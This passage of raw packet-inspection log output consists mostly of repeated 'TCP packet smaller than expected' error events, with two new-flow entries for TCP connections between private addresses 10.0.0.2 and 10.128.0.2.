smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....27] [ip4][..tcp] [.......10.0.0.2][17751] -> [.....10.128.0.2][.9024] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....28] [ip4][..tcp] [.......10.0.0.2][27502] -> [.....10.128.0.2][30307] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - 